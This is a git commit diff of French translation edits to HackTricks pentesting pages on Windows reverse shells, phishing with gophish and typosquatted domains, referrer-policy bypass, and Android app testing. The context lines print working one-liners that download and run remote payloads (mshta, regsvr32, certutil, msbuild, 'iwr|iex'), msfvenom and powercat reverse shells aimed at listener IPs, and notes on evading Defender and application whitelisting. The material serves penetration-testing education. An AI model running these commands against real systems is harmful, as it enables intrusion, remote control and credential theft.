mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/generi
This commit is contained in:
Translator
parent
5f80023af0
commit
b6bdb263ea
@ -167,7 +167,7 @@ Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given
|
||||
|
||||
[**Exemple de DLL hello world**](https://github.com/carterjones/hello-world-dll)
|
||||
|
||||
- [À partir d'ici](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
- [D'ici](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```bash
|
||||
rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
||||
```
|
||||
@ -224,7 +224,7 @@ regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
|
||||
#### Regsvr32 -sct
|
||||
|
||||
[**À partir d'ici**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
```markup
|
||||
```html
|
||||
<?XML version="1.0"?>
|
||||
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
|
||||
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
|
||||
@ -253,7 +253,7 @@ run
|
||||
|
||||
## Certutil
|
||||
|
||||
- [Ici](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
- [D'ici](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
Téléchargez un B64dll, décodez-le et exécutez-le.
|
||||
```bash
|
||||
@ -280,7 +280,7 @@ msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > sh
|
||||
\\webdavserver\folder\batchfile.bat
|
||||
```
|
||||
Processus effectuant un appel réseau : **svchost.exe**\
|
||||
Charge utile écrite sur le disque : **cache local du client WebDAV**
|
||||
Charge utile écrite sur le disque : **WebDAV client cache local**
|
||||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
|
||||
impacket-smbserver -smb2support kali `pwd`
|
||||
@ -328,11 +328,11 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
||||
|
||||
## Msbuild
|
||||
|
||||
- [À partir d'ici](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
- [D'ici](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```
|
||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
Vous pouvez utiliser cette technique pour contourner les restrictions de Whitelisting d'application et de Powershell.exe. Vous serez invité à utiliser un shell PS.\
|
||||
Vous pouvez utiliser cette technique pour contourner les restrictions de liste blanche d'application et de Powershell.exe. Vous serez invité avec un shell PS.\
|
||||
Il vous suffit de télécharger ceci et de l'exécuter : [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
@ -345,7 +345,7 @@ Compiler le code C# sur la machine de la victime.
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||
```
|
||||
Vous pouvez télécharger un shell inversé C# de base ici : [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
Vous pouvez télécharger un reverse shell C# de base ici : [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
|
||||
**Non détecté**
|
||||
|
||||
@ -383,7 +383,7 @@ Commencez à servir le script sur un serveur web et exécutez-le du côté de la
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
Defender ne le détecte pas comme un code malveillant (encore, 3/04/2019).
|
||||
Defender ne le détecte pas comme un code malveillant (pour l'instant, 3/04/2019).
|
||||
|
||||
**À FAIRE : Vérifier d'autres shells nishang**
|
||||
|
||||
@ -395,7 +395,7 @@ Téléchargez, démarrez un serveur web, démarrez l'écouteur et exécutez-le d
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
Defender ne le détecte pas comme un code malveillant (encore, 3/04/2019).
|
||||
Defender ne le détecte pas comme un code malveillant (pour l'instant, 3/04/2019).
|
||||
|
||||
**Autres options offertes par powercat :**
|
||||
|
||||
@ -430,7 +430,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c
|
||||
|
||||
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
|
||||
|
||||
Créez une version powershell de la porte dérobée metasploit en utilisant unicorn
|
||||
Créer une version powershell de la porte dérobée metasploit en utilisant unicorn
|
||||
```
|
||||
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
||||
```
|
||||
@ -438,7 +438,7 @@ Démarrez msfconsole avec la ressource créée :
|
||||
```
|
||||
msfconsole -r unicorn.rc
|
||||
```
|
||||
Démarrez un serveur web servant le fichier _powershell_attack.txt_ et exécutez-le chez la victime :
|
||||
Démarrez un serveur web servant le fichier _powershell_attack.txt_ et exécutez-le sur la victime :
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
```
|
||||
|
||||
@ -22,14 +22,14 @@
|
||||
### Techniques de Variation de Noms de Domaine
|
||||
|
||||
- **Mot-clé** : Le nom de domaine **contient** un **mot-clé** important du domaine original (par exemple, zelster.com-management.com).
|
||||
- **sous-domaine hyphéné** : Remplacer le **point par un tiret** dans un sous-domaine (par exemple, www-zelster.com).
|
||||
- **sous-domaine hyphéné** : Remplacer le **point par un tiret** d'un sous-domaine (par exemple, www-zelster.com).
|
||||
- **Nouveau TLD** : Même domaine utilisant un **nouveau TLD** (par exemple, zelster.org).
|
||||
- **Homoglyph** : Il **remplace** une lettre dans le nom de domaine par des **lettres qui se ressemblent** (par exemple, zelfser.com).
|
||||
- **Homoglyphes** : Il **remplace** une lettre dans le nom de domaine par des **lettres qui se ressemblent** (par exemple, zelfser.com).
|
||||
- **Transposition** : Il **échange deux lettres** dans le nom de domaine (par exemple, zelsetr.com).
|
||||
- **Singularisation/Pluralisation** : Ajoute ou enlève un “s” à la fin du nom de domaine (par exemple, zeltsers.com).
|
||||
- **Singularisation/Pluralisation** : Ajoute ou enlève un "s" à la fin du nom de domaine (par exemple, zeltsers.com).
|
||||
- **Omission** : Il **supprime une** des lettres du nom de domaine (par exemple, zelser.com).
|
||||
- **Répétition** : Il **répète une** des lettres dans le nom de domaine (par exemple, zeltsser.com).
|
||||
- **Remplacement** : Comme homoglyph mais moins furtif. Il remplace une des lettres dans le nom de domaine, peut-être par une lettre proche de la lettre originale sur le clavier (par exemple, zektser.com).
|
||||
- **Remplacement** : Comme homoglyphes mais moins furtif. Il remplace une des lettres dans le nom de domaine, peut-être par une lettre proche de la lettre originale sur le clavier (par exemple, zektser.com).
|
||||
- **Sous-domaine** : Introduire un **point** à l'intérieur du nom de domaine (par exemple, ze.lster.com).
|
||||
- **Insertion** : Il **insère une lettre** dans le nom de domaine (par exemple, zerltser.com).
|
||||
- **Point manquant** : Ajouter le TLD au nom de domaine. (par exemple, zelstercom.com)
|
||||
@ -53,7 +53,7 @@ Lorsque ce concept est **appliqué aux requêtes DNS**, il est possible que le *
|
||||
|
||||
Par exemple, une seule modification de bit dans le domaine "windows.com" peut le changer en "windnws.com".
|
||||
|
||||
Les attaquants peuvent **profiter de cela en enregistrant plusieurs domaines à inversion de bits** qui sont similaires au domaine de la victime. Leur intention est de rediriger les utilisateurs légitimes vers leur propre infrastructure.
|
||||
Les attaquants peuvent **profiter de cela en enregistrant plusieurs domaines à bit-flipping** qui sont similaires au domaine de la victime. Leur intention est de rediriger les utilisateurs légitimes vers leur propre infrastructure.
|
||||
|
||||
Pour plus d'informations, lisez [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
|
||||
@ -91,7 +91,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||
|
||||
**Configuration du certificat TLS**
|
||||
|
||||
Avant cette étape, vous devez **déjà avoir acheté le domaine** que vous allez utiliser et il doit **pointer** vers l'**IP du VPS** où vous configurez **gophish**.
|
||||
Avant cette étape, vous devriez **déjà avoir acheté le domaine** que vous allez utiliser et il doit **pointer** vers l'**IP du VPS** où vous configurez **gophish**.
|
||||
```bash
|
||||
DOMAIN="<domain>"
|
||||
wget https://dl.eff.org/certbot-auto
|
||||
@ -223,7 +223,7 @@ service gophish stop
|
||||
|
||||
### Attendre et être légitime
|
||||
|
||||
Plus un domaine est ancien, moins il est probable qu'il soit considéré comme du spam. Vous devriez donc attendre le plus longtemps possible (au moins 1 semaine) avant l'évaluation de phishing. De plus, si vous mettez en place une page sur un secteur de réputation, la réputation obtenue sera meilleure.
|
||||
Plus un domaine est ancien, moins il est probable qu'il soit considéré comme du spam. Vous devriez donc attendre le plus longtemps possible (au moins 1 semaine) avant l'évaluation de phishing. De plus, si vous mettez une page sur un secteur de réputation, la réputation obtenue sera meilleure.
|
||||
|
||||
Notez que même si vous devez attendre une semaine, vous pouvez terminer la configuration de tout maintenant.
|
||||
|
||||
@ -317,7 +317,7 @@ La page [www.mail-tester.com](https://www.mail-tester.com) peut vous indiquer si
|
||||
- Ensuite, écrivez un **sujet** (rien d'étrange, juste quelque chose que vous pourriez vous attendre à lire dans un email régulier)
|
||||
- Assurez-vous d'avoir coché "**Ajouter une image de suivi**"
|
||||
- Rédigez le **modèle d'email** (vous pouvez utiliser des variables comme dans l'exemple suivant) :
|
||||
```markup
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
<title></title>
|
||||
@ -403,9 +403,9 @@ phishing-documents.md
|
||||
|
||||
### Via Proxy MitM
|
||||
|
||||
L'attaque précédente est assez astucieuse car vous simulez un vrai site web et recueillez les informations fournies par l'utilisateur. Malheureusement, si l'utilisateur n'a pas saisi le bon mot de passe ou si l'application que vous avez simulée est configurée avec 2FA, **ces informations ne vous permettront pas d'usurper l'utilisateur trompé**.
|
||||
L'attaque précédente est assez astucieuse car vous simulez un vrai site web et recueillez les informations fournies par l'utilisateur. Malheureusement, si l'utilisateur n'a pas saisi le bon mot de passe ou si l'application que vous avez simulée est configurée avec 2FA, **ces informations ne vous permettront pas d'usurper l'identité de l'utilisateur trompé**.
|
||||
|
||||
C'est là que des outils comme [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) et [**muraena**](https://github.com/muraenateam/muraena) sont utiles. Cet outil vous permettra de générer une attaque de type MitM. En gros, les attaques fonctionnent de la manière suivante :
|
||||
C'est là que des outils comme [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) et [**muraena**](https://github.com/muraenateam/muraena) sont utiles. Cet outil vous permettra de générer une attaque de type MitM. En gros, l'attaque fonctionne de la manière suivante :
|
||||
|
||||
1. Vous **usurpez le formulaire de connexion** de la vraie page web.
|
||||
2. L'utilisateur **envoie** ses **identifiants** à votre page factice et l'outil les envoie à la vraie page web, **vérifiant si les identifiants fonctionnent**.
|
||||
|
||||
@ -24,7 +24,7 @@ Referrer-Policy: unsafe-url
|
||||
## Contre-mesures
|
||||
|
||||
Vous pouvez contourner cette règle en utilisant une balise meta HTML (l'attaquant doit exploiter une injection HTML) :
|
||||
```markup
|
||||
```html
|
||||
<meta name="referrer" content="unsafe-url">
|
||||
<img src="https://attacker.com">
|
||||
```
|
||||
|
||||
@ -13,9 +13,9 @@ android-applications-basics.md
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
C'est l'outil principal dont vous avez besoin pour vous connecter à un appareil Android (émulé ou physique).\
|
||||
**ADB** permet de contrôler les appareils soit via **USB** soit via **réseau** depuis un ordinateur. Cet utilitaire permet le **copie** de fichiers dans les deux sens, **installation** et **désinstallation** d'applications, **exécution** de commandes shell, **sauvegarde** de données, **lecture** de journaux, entre autres fonctions.
|
||||
**ADB** permet de contrôler les appareils soit via **USB** soit via **réseau** depuis un ordinateur. Cette utilité permet le **copie** de fichiers dans les deux sens, **installation** et **désinstallation** d'applications, **exécution** de commandes shell, **sauvegarde** de données, **lecture** de journaux, entre autres fonctions.
|
||||
|
||||
Consultez la liste suivante de [**Commandes ADB**](adb-commands.md) pour apprendre à utiliser adb.
|
||||
Jetez un œil à la liste suivante de [**Commandes ADB**](adb-commands.md) pour apprendre à utiliser adb.
|
||||
|
||||
## Smali
|
||||
|
||||
@ -24,7 +24,7 @@ Parfois, il est intéressant de **modifier le code de l'application** pour accé
|
||||
|
||||
## Autres astuces intéressantes
|
||||
|
||||
- [Usurpation de votre emplacement dans le Play Store](spoofing-your-location-in-play-store.md)
|
||||
- [Usurper votre emplacement dans le Play Store](spoofing-your-location-in-play-store.md)
|
||||
- **Télécharger des APK** : [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Extraire l'APK de l'appareil :
|
||||
```bash
|
||||
@ -36,7 +36,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
|
||||
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
```
|
||||
- Fusionnez tous les splits et les APK de base avec [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
- Fusionnez tous les splits et les apks de base avec [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
```bash
|
||||
mkdir splits
|
||||
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
|
||||
@ -52,7 +52,7 @@ Veuillez, [**lire ici pour trouver des informations sur les différents décompi
|
||||
|
||||
### Recherche d'informations intéressantes
|
||||
|
||||
En jetant simplement un œil aux **chaînes** de l'APK, vous pouvez rechercher des **mots de passe**, des **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des clés **api**, des **chiffrements**, des **UUIDs bluetooth**, des **tokens** et tout ce qui est intéressant... cherchez même des **backdoors** d'exécution de code ou des backdoors d'authentification (identifiants administratifs codés en dur dans l'application).
|
||||
En jetant simplement un œil aux **chaînes** de l'APK, vous pouvez rechercher des **mots de passe**, des **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des clés **api**, des **chiffrements**, des **UUIDs bluetooth**, des **tokens** et tout ce qui est intéressant... cherchez même des **backdoors** d'exécution de code ou des backdoors d'authentification (identifiants administrateurs codés en dur dans l'application).
|
||||
|
||||
**Firebase**
|
||||
|
||||
@ -60,16 +60,16 @@ Faites particulièrement attention aux **URLs Firebase** et vérifiez si elles s
|
||||
|
||||
### Compréhension de base de l'application - Manifest.xml, strings.xml
|
||||
|
||||
L'**examen des fichiers \_Manifest.xml**_\*\* et \*\*_**strings.xml**\_\*\* d'une application peut révéler des vulnérabilités de sécurité potentielles\*\*. Ces fichiers peuvent être accessibles à l'aide de décompilateurs ou en renommant l'extension du fichier APK en .zip puis en le décompressant.
|
||||
L'**examen des fichiers \_Manifest.xml**_\*\* et \*\*_**strings.xml**\_\*\* d'une application peut révéler des vulnérabilités de sécurité potentielles\*\*. Ces fichiers peuvent être accessibles en utilisant des décompilateurs ou en renommant l'extension du fichier APK en .zip puis en le décompressant.
|
||||
|
||||
Les **vulnérabilités** identifiées dans le **Manifest.xml** incluent :
|
||||
|
||||
- **Applications débogables** : Les applications définies comme débogables (`debuggable="true"`) dans le fichier _Manifest.xml_ posent un risque car elles permettent des connexions pouvant mener à une exploitation. Pour une compréhension plus approfondie sur la façon d'exploiter les applications débogables, référez-vous à un tutoriel sur la recherche et l'exploitation des applications débogables sur un appareil.
|
||||
- **Applications débogables** : Les applications définies comme débogables (`debuggable="true"`) dans le fichier _Manifest.xml_ posent un risque car elles permettent des connexions qui peuvent mener à une exploitation. Pour une compréhension plus approfondie sur la façon d'exploiter les applications débogables, référez-vous à un tutoriel sur la recherche et l'exploitation des applications débogables sur un appareil.
|
||||
- **Paramètres de sauvegarde** : L'attribut `android:allowBackup="false"` doit être explicitement défini pour les applications traitant des informations sensibles afin d'empêcher les sauvegardes de données non autorisées via adb, surtout lorsque le débogage USB est activé.
|
||||
- **Sécurité réseau** : Les configurations de sécurité réseau personnalisées (`android:networkSecurityConfig="@xml/network_security_config"`) dans _res/xml/_ peuvent spécifier des détails de sécurité comme les certificats et les paramètres de trafic HTTP. Un exemple est de permettre le trafic HTTP pour des domaines spécifiques.
|
||||
- **Activités et services exportés** : Identifier les activités et services exportés dans le manifeste peut mettre en évidence des composants qui pourraient être mal utilisés. Une analyse plus approfondie lors des tests dynamiques peut révéler comment exploiter ces composants.
|
||||
- **Fournisseurs de contenu et FileProviders** : Les fournisseurs de contenu exposés pourraient permettre un accès ou une modification non autorisés des données. La configuration des FileProviders doit également être examinée.
|
||||
- **Receveurs de diffusion et schémas d'URL** : Ces composants pourraient être exploités, en prêtant une attention particulière à la manière dont les schémas d'URL sont gérés pour les vulnérabilités d'entrée.
|
||||
- **Receveurs de diffusion et schémas d'URL** : Ces composants pourraient être exploités, en prêtant une attention particulière à la façon dont les schémas d'URL sont gérés pour les vulnérabilités d'entrée.
|
||||
- **Versions SDK** : Les attributs `minSdkVersion`, `targetSDKVersion` et `maxSdkVersion` indiquent les versions Android prises en charge, soulignant l'importance de ne pas prendre en charge des versions Android obsolètes et vulnérables pour des raisons de sécurité.
|
||||
|
||||
À partir du fichier **strings.xml**, des informations sensibles telles que des clés API, des schémas personnalisés et d'autres notes de développeur peuvent être découvertes, soulignant la nécessité d'un examen attentif de ces ressources.
|
||||
@ -104,7 +104,7 @@ Dans Android, les fichiers **stockés** dans le **stockage interne** sont **con
|
||||
1. **Analyse statique :**
|
||||
- **Assurez-vous** que l'utilisation de `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` est **soigneusement examinée**. Ces modes **peuvent potentiellement exposer** des fichiers à un **accès non intentionnel ou non autorisé**.
|
||||
2. **Analyse dynamique :**
|
||||
- **Vérifiez** les **permissions** définies sur les fichiers créés par l'application. En particulier, **vérifiez** si des fichiers sont **définis comme lisibles ou modifiables par le monde entier**. Cela peut poser un risque de sécurité significatif, car cela permettrait à **n'importe quelle application** installée sur l'appareil, quelle que soit son origine ou son intention, de **lire ou de modifier** ces fichiers.
|
||||
- **Vérifiez** les **permissions** définies sur les fichiers créés par l'application. En particulier, **vérifiez** si des fichiers sont **définis comme lisibles ou modifiables par tous**. Cela peut poser un risque de sécurité significatif, car cela permettrait à **n'importe quelle application** installée sur l'appareil, quelle que soit son origine ou son intention, de **lire ou modifier** ces fichiers.
|
||||
|
||||
**Stockage externe**
|
||||
|
||||
@ -117,13 +117,13 @@ Lorsqu'il s'agit de fichiers sur le **stockage externe**, comme les cartes SD, c
|
||||
- Le stockage externe peut être retiré ou accessible par n'importe quelle application, ce qui le rend moins sécurisé.
|
||||
3. **Gestion des données provenant du stockage externe** :
|
||||
- Toujours **effectuer une validation des entrées** sur les données récupérées du stockage externe. Cela est crucial car les données proviennent d'une source non fiable.
|
||||
- Le stockage d'exécutables ou de fichiers de classe sur le stockage externe pour un chargement dynamique est fortement déconseillé.
|
||||
- Il est fortement déconseillé de stocker des exécutables ou des fichiers de classe sur le stockage externe pour un chargement dynamique.
|
||||
- Si votre application doit récupérer des fichiers exécutables à partir du stockage externe, assurez-vous que ces fichiers sont **signés et vérifiés cryptographiquement** avant d'être chargés dynamiquement. Cette étape est vitale pour maintenir l'intégrité de la sécurité de votre application.
|
||||
|
||||
Le stockage externe peut être **accédé** dans `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
> [!NOTE]
|
||||
> À partir d'Android 4.4 (**API 17**), la carte SD a une structure de répertoire qui **limite l'accès d'une application au répertoire spécifiquement destiné à cette application**. Cela empêche une application malveillante d'obtenir un accès en lecture ou en écriture aux fichiers d'une autre application.
|
||||
> À partir d'Android 4.4 (**API 17**), la carte SD a une structure de répertoire qui **limite l'accès d'une application au répertoire qui est spécifiquement pour cette application**. Cela empêche une application malveillante d'obtenir un accès en lecture ou en écriture aux fichiers d'une autre application.
|
||||
|
||||
**Données sensibles stockées en texte clair**
|
||||
|
||||
@ -149,7 +149,7 @@ Certains développeurs enregistrent des données sensibles dans le stockage loca
|
||||
|
||||
**Utilisation d'algorithmes non sécurisés et/ou obsolètes**
|
||||
|
||||
Les développeurs ne devraient pas utiliser **d'algorithmes obsolètes** pour effectuer des **vérifications d'autorisation**, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashs** sont utilisés pour stocker des mots de passe par exemple, des hashs résistants à la force brute **devraient** être utilisés avec du sel.
|
||||
Les développeurs ne devraient pas utiliser **d'algorithmes obsolètes** pour effectuer des **vérifications d'autorisation**, **stocker** ou **envoyer** des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des **hashs** sont utilisés pour stocker des mots de passe par exemple, des hashs résistants à la force brute devraient être utilisés avec du sel.
|
||||
|
||||
### Autres vérifications
|
||||
|
||||
@ -161,7 +161,7 @@ Les développeurs ne devraient pas utiliser **d'algorithmes obsolètes** pour ef
|
||||
|
||||
### Application React Native
|
||||
|
||||
Lisez la page suivante pour apprendre comment accéder facilement au code javascript des applications React :
|
||||
Lisez la page suivante pour apprendre à accéder facilement au code javascript des applications React :
|
||||
|
||||
{{#ref}}
|
||||
react-native-application.md
|
||||
@ -169,7 +169,7 @@ react-native-application.md
|
||||
|
||||
### Applications Xamarin
|
||||
|
||||
Lisez la page suivante pour apprendre comment accéder facilement au code C# des applications xamarin :
|
||||
Lisez la page suivante pour apprendre à accéder facilement au code C# des applications xamarin :
|
||||
|
||||
{{#ref}}
|
||||
../xamarin-apps.md
|
||||
@ -181,9 +181,9 @@ Selon ce [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-
|
||||
|
||||
### Analyse statique automatisée du code
|
||||
|
||||
L'outil [**mariana-trench**](https://github.com/facebook/mariana-trench) est capable de trouver des **vulnérabilités** en **scannant** le **code** de l'application. Cet outil contient une série de **sources connues** (qui indiquent à l'outil les **endroits** où l'**entrée** est **contrôlée par l'utilisateur**), des **puits** (qui indiquent à l'outil les **endroits dangereux** où une entrée malveillante pourrait causer des dommages) et des **règles**. Ces règles indiquent la **combinaison** de **sources-puits** qui indique une vulnérabilité.
|
||||
L'outil [**mariana-trench**](https://github.com/facebook/mariana-trench) est capable de trouver des **vulnérabilités** en **scannant** le **code** de l'application. Cet outil contient une série de **sources connues** (qui indiquent à l'outil les **endroits** où l'**entrée** est **contrôlée par l'utilisateur**), des **sinks** (qui indiquent à l'outil les **endroits dangereux** où une entrée malveillante pourrait causer des dommages) et des **règles**. Ces règles indiquent la **combinaison** de **sources-sinks** qui indique une vulnérabilité.
|
||||
|
||||
Avec cette connaissance, **mariana-trench examinera le code et trouvera d'éventuelles vulnérabilités.**
|
||||
Avec cette connaissance, **mariana-trench examinera le code et trouvera les vulnérabilités possibles.**
|
||||
|
||||
### Secrets divulgués
|
||||
|
||||
@ -218,7 +218,7 @@ content-protocol.md
|
||||
|
||||
### Analyse dynamique en ligne
|
||||
|
||||
Vous pouvez créer un **compte gratuit** sur : [https://appetize.io/](https://appetize.io). Cette plateforme vous permet de **télécharger** et **d'exécuter** des APK, ce qui est utile pour voir comment un APK se comporte.
|
||||
Vous pouvez créer un **compte gratuit** sur : [https://appetize.io/](https://appetize.io). Cette plateforme vous permet de **télécharger** et **d'exécuter** des APK, ce qui est utile pour voir comment un apk se comporte.
|
||||
|
||||
Vous pouvez même **voir les journaux de votre application** sur le web et vous connecter via **adb**.
|
||||
|
||||
@ -230,15 +230,15 @@ Grâce à la connexion ADB, vous pouvez utiliser **Drozer** et **Frida** à l'in
|
||||
|
||||
#### Utilisation d'un émulateur
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Vous pouvez créer des appareils **x86** et **arm**, et selon [**ceci**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html), les **dernières versions x86** prennent en charge les bibliothèques ARM sans avoir besoin d'un émulateur ARM lent).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Vous pouvez créer des appareils **x86** et **arm**, et selon [**ceci**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html), les **dernières versions x86** **supportent les bibliothèques ARM** sans avoir besoin d'un émulateur arm lent).
|
||||
- Apprenez à le configurer sur cette page :
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Version gratuite :** Édition personnelle, vous devez créer un compte. _Il est recommandé de **télécharger** la version **AVEC** _ **VirtualBox** pour éviter des erreurs potentielles._)
|
||||
- [**Nox**](https://es.bignox.com) (Gratuit, mais il ne prend pas en charge Frida ou Drozer).
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Version gratuite :** Édition personnelle, vous devez créer un compte. _Il est recommandé de **télécharger** la version **AVEC** _ _**VirtualBox** pour éviter des erreurs potentielles._)
|
||||
- [**Nox**](https://es.bignox.com) (Gratuit, mais il ne supporte pas Frida ou Drozer).
|
||||
|
||||
> [!NOTE]
|
||||
> Lors de la création d'un nouvel émulateur sur n'importe quelle plateforme, rappelez-vous que plus l'écran est grand, plus l'émulateur fonctionnera lentement. Donc, sélectionnez de petits écrans si possible.
|
||||
@ -251,13 +251,13 @@ De plus, notez que dans la **configuration de la VM Android dans Genymotion**, v
|
||||
|
||||
#### Utiliser un appareil physique
|
||||
|
||||
Vous devez activer les **options de débogage** et il serait bien si vous pouviez le **rooter** :
|
||||
Vous devez activer les **options de débogage** et il serait bien si vous pouviez **le rooter** :
|
||||
|
||||
1. **Paramètres**.
|
||||
2. (À partir d'Android 8.0) Sélectionnez **Système**.
|
||||
3. Sélectionnez **À propos du téléphone**.
|
||||
4. Appuyez sur **Numéro de build** 7 fois.
|
||||
5. Revenez en arrière et vous trouverez les **options de développement**.
|
||||
5. Revenez en arrière et vous trouverez les **options de développeur**.
|
||||
|
||||
> Une fois que vous avez installé l'application, la première chose que vous devriez faire est de l'essayer et d'enquêter sur ce qu'elle fait, comment elle fonctionne et vous y habituer.\
|
||||
> Je vous suggérerai de **réaliser cette analyse dynamique initiale en utilisant l'analyse dynamique MobSF + pidcat**, afin que nous puissions **apprendre comment l'application fonctionne** pendant que MobSF **capture** beaucoup de **données intéressantes** que vous pourrez examiner plus tard.
|
||||
@ -284,7 +284,7 @@ En tant que pentester, **essayez de jeter un œil à ces journaux**.
|
||||
|
||||
**Données analytiques envoyées à des tiers**
|
||||
|
||||
Les applications intègrent souvent des services comme Google Adsense, ce qui peut involontairement **fuir des données sensibles** en raison d'une mise en œuvre incorrecte par les développeurs. Pour identifier d'éventuelles fuites de données, il est conseillé de **intercepter le trafic de l'application** et de vérifier toute information sensible envoyée à des services tiers.
|
||||
Les applications intègrent souvent des services comme Google Adsense, ce qui peut involontairement **fuir des données sensibles** en raison d'une mise en œuvre incorrecte par les développeurs. Pour identifier les fuites de données potentielles, il est conseillé de **intercepter le trafic de l'application** et de vérifier toute information sensible envoyée à des services tiers.
|
||||
|
||||
### Bases de données SQLite
|
||||
|
||||
@ -313,8 +313,8 @@ Lorsqu'une activité est exportée, vous pouvez invoquer son écran depuis une a
|
||||
|
||||
Vous pouvez également démarrer une activité exportée depuis adb :
|
||||
|
||||
- Le nom du package est com.example.demo
|
||||
- Le nom de l'activité exportée est com.example.test.MainActivity
|
||||
- PackageName est com.example.demo
|
||||
- Exported ActivityName est com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
@ -334,7 +334,7 @@ Si le tapjacking n'est pas prévenu, vous pourriez abuser de l'activité export
|
||||
### Exploitation des Content Providers - Accéder et manipuler des informations sensibles
|
||||
|
||||
[**Lisez ceci si vous voulez rafraîchir ce qu'est un Content Provider.**](android-applications-basics.md#content-provider)\
|
||||
Les content providers sont essentiellement utilisés pour **partager des données**. Si une application a des content providers disponibles, vous pourriez être en mesure d'**extraire des données sensibles** à partir d'eux. Il est également intéressant de tester d'éventuelles **injections SQL** et **Path Traversals** car elles pourraient être vulnérables.
|
||||
